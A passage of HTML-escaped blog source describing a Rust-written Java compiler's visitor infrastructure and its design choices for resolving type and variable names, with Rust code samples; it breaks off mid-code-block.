  &lt;li&gt;Checking many different constraints of the Java class/interface hierarchy.&lt;/li&gt;
  &lt;li&gt;Checking that all statements are reachable and all non-&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;void&lt;/code&gt; functions return.&lt;/li&gt;
  &lt;li&gt;Resolving types of all expressions and checking their correctness.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;visitor-infrastructure&quot;&gt;Visitor infrastructure&lt;/h3&gt;

&lt;p&gt;Most of the passes in the middle of our compiler only care about certain AST nodes, but need to act on those nodes anywhere they might occur in the AST. One way to do this would be to pattern match through the whole AST in every patch, but there’s a lot of nodes so that would involve a lot of duplication.&lt;/p&gt;

&lt;p&gt;Instead we have a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Visitor&lt;/code&gt; trait (like an interface in other languages) which can be implemented by a compiler pass. It has callbacks only for the events we actually need, which can run code at various points in the traversal of the AST, as well as modify the AST in place. All the callbacks have default implementations that do nothing so that passes only need to implement the methods they need.&lt;/p&gt;

&lt;div class=&quot;language-rust highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// We use a dynamic error type here so we don&apos;t have to make the visitor generic and&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// instantiate it a bunch for every error type&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;pub&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;type&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;VResult&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Result&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(),&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Box&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nn&quot;&gt;std&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nn&quot;&gt;error&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Error&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;pub&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;trait&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Visitor&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;// used for resolving variable references&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;fn&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;visit_var_ref&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;mut&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;_t&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;mut&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;VarRef&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;VResult&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nf&quot;&gt;Ok&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(())&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;fn&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;start_method&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;mut&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;_t&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;mut&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Method&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;VResult&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nf&quot;&gt;Ok&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(())&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;c1&quot;&gt;// `finish_` methods get passed the result of traversing their body so that they&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;// can wrap errors to provide better location information&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;fn&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;finish_method&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;mut&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;_t&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;mut&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Method&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;res&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;VResult&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;VResult&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;res&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;c1&quot;&gt;// like a `finish_` method except it doesn&apos;t need the result&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;fn&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;post_expr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;mut&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;_t&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;mut&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Expr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;VResult&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nf&quot;&gt;Ok&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(())&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;c1&quot;&gt;// ... a bunch of other methods&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Passes that implement &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Visitor&lt;/code&gt; are driven by dynamically dispatched calls from the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Visitable&lt;/code&gt; trait, which is implemented by every AST node and traverses the whole tree in evaluation order. A cool Rust feature we make good use of is “blanket impls” which make the logic for handling AST children that are in containers clean and uniform.&lt;/p&gt;

&lt;div class=&quot;language-rust highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;pub&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;trait&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Visitable&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;fn&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;visit&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;mut&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;mut&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;dyn&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Visitor&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;VResult&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;impl&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;T&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Visitable&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Visitable&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Vec&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;T&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;fn&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;visit&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;mut&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;mut&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;dyn&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Visitor&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;VResult&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;t&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;self&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.visit&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;nf&quot;&gt;Ok&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(())&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// ... other blanket impls for Option&amp;lt;T&amp;gt; and Box&amp;lt;T&amp;gt;&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;impl&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Visitable&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;TypeKind&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;fn&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;visit&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;mut&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;mut&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;dyn&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Visitor&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;VResult&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;match&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;self&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;nn&quot;&gt;TypeKind&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.visit&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;nn&quot;&gt;TypeKind&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Ref&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.visit&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;_&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(),&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;nf&quot;&gt;Ok&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(())&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;impl&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Visitable&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ForStatement&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;fn&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;visit&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;mut&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;mut&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;dyn&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Visitor&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;VResult&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;v&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.start_for_statement&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;// closure allows us to use ? to combine results&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;res&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(||&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;py&quot;&gt;.init&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.visit&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;py&quot;&gt;.condition&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.visit&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;py&quot;&gt;.update&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.visit&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;py&quot;&gt;.body&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.visit&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;})();&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;v&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.finish_for_statement&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;res&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// ... many other Visitable implementations&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This made a lot of our passes much easier. For example constant folding just overrides the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;post_expr&lt;/code&gt; method, checks if the children of an expression are constants and if so uses &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mem::replace&lt;/code&gt; to replace the node with a constant.&lt;/p&gt;

&lt;h3 id=&quot;resolving-names&quot;&gt;Resolving names&lt;/h3&gt;

&lt;p&gt;One discussion we had is how to handle resolving type and variable names. The most obvious way was doing so by mutating the AST using an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Option&lt;/code&gt; field that’s initially &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;None&lt;/code&gt;. However our functional programmer instincts felt icky about this so we tried to think of a better way. Using an optional field also had the problem that we knew by the code generation phase that all variables would be resolved but the type system would still think they could be &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;None&lt;/code&gt; so we’d need to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;unwrap()&lt;/code&gt; them every time we wanted to access them.&lt;/p&gt;

&lt;p&gt;We first considered using a side table where we’d give every named reference an ID or hash it, then have a map from ID to resolved location that we created during the resolution stage. But we didn’t like how this would make debugging harder since we could no longer just print out our AST types with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Debug&lt;/code&gt; to see all their information including resolutions. It also would require passing around quite a few side tables and doing lots of lookups in them by the later stages. It didn’t even solve the need for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;unwrap&lt;/code&gt; since the table access could theoretically not find the corresponding element.&lt;/p&gt;

&lt;p&gt;Next we considered making all of our AST types generic with an annotation type parameter that started out as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;()&lt;/code&gt; but changed as the AST progressed through stages where it gained more info. The main problem with this is that each pass would need to re-build the entire AST, which would make easy visitor infrastructure much harder. Maybe if Rust had something like &lt;a href=&quot;https://gitlab.haskell.org/ghc/ghc/wikis/commentary/compiler/derive-functor&quot;&gt;an automatically derivable &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Functor&lt;/code&gt; implementation&lt;/a&gt; it wouldn’t have been bad, but barring that it would need a lot of boilerplate. There were also multiple things we needed to annotate at various stages necessitating many parameters, and a lot of AST types, which would require a lot of refactoring our AST and parser to add a multitude of parameters.&lt;/p&gt;

&lt;p&gt;So instead we just bit the bullet and used &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Option&lt;/code&gt; type fields, and I think it worked out well. We implemented a nice &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Reference&amp;lt;T, R&amp;gt;&lt;/code&gt; generic that had a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;raw&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;resolved&lt;/code&gt; field. We used it for both variable and type references. It had &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Hash&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PartialEq&lt;/code&gt; implementations that only looked at the resolved value because that’s what mattered for data structures in later passes. It also had a special &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Debug&lt;/code&gt; implementation that made the output in snapshot tests nicer:&lt;/p&gt;

&lt;div class=&quot;language-rust highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;impl&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;T&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;fmt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Debug&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;R&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;fmt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Debug&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;fmt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Debug&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Reference&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;T&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;R&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;fn&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;fmt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;mut&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;fmt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Formatter&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;fmt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;Result&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;Some&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;r&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;py&quot;&gt;.resolved&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
